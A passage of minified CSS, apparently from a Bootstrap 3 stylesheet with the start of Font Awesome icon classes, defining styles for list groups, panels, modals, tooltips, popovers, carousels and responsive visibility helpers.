0,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover,button.list-group-item-success:focus,button.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover,button.list-group-item-success.active,button.list-group-item-success.active:focus,button.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info,button.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading,button.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover,button.list-group-item-info:focus,button.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover,button.list-group-item-info.active,button.list-group-item-info.active:focus,button.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover,button.list-group-item-warning:focus,button.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover,button.list-group-item-warning.active,button.list-group-item-warning.active:focus,button.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger,button.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading,button.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover,button.list-group-item-danger:focus,button.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover,button.list-group-item-danger.active,button.list-group-item-danger.active:focus,button.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-body:after,.panel-body:before{display:table;content:" "}.panel-body:after{clear:both}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle,.panel-title{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.panel-heading+.panel-collapse>.list-group .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.list-group+.panel-footer,.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table-responsive>.table caption,.panel>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none;appearance:none}.modal,.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transform:translateY(-25%);-ms-transform:translateY(-25%);-o-transform:translateY(-25%);transform:translateY(-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{padding:15px;border-bottom:1px solid #e5e5e5}.modal-header:after,.modal-header:before{display:table;content:" "}.modal-header:after{clear:both}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:12px;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px}.tooltip.top-left .tooltip-arrow,.tooltip.top-right .tooltip-arrow{bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{left:5px}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-style:normal;font-weight:400;line-height:1.42857;line-break:auto;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;word-wrap:normal;white-space:normal;font-size:14px;background-color:#fff;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover>.arrow{border-width:11px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.carousel,.carousel-inner{position:relative}.carousel-inner{width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:left .6s ease-in-out;-o-transition:.6s ease-in-out left;transition:left .6s ease-in-out}.carousel-inner>.item>a>img,.carousel-inner>.item>img{display:block;max-width:100%;height:auto;line-height:1}@media (-webkit-transform-3d),(transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-moz-transition:-moz-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;-moz-perspective:1000px;perspective:1000px}.carousel-inner>.item.active.right,.carousel-inner>.item.next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);left:0}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);left:0}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{-webkit-transform:translateZ(0);transform:translateZ(0);left:0}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);background-color:transparent;filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,.0001));background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:linear-gradient(90deg,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001));filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#80000000",endColorstr="#00000000",GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001),rgba(0,0,0,.5));background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:linear-gradient(90deg,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5));filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000",endColorstr="#80000000",GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;outline:0;filter:alpha(opacity=90);opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-10px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:"\2039"}.carousel-control .icon-next:before{content:"\203a"}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000\9;background-color:transparent;border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-10px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-10px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.clearfix:after,.clearfix:before{display:table;content:" "}.clearfix:after{clear:both}.center-block{display:block;margin-right:auto;margin-left:auto}.pull-right{float:right!important}.pull-left{float:left!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-lg,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block,.visible-md,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-sm,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-xs,.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}td.visible-xs,th.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}td.visible-sm,th.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}td.visible-md,th.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}td.visible-lg,th.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}td.visible-print,th.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}}.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{animation:fa-spin 2s linear infinite}.fa-pulse{animation:fa-spin 1s steps(8) infinite}@keyframes 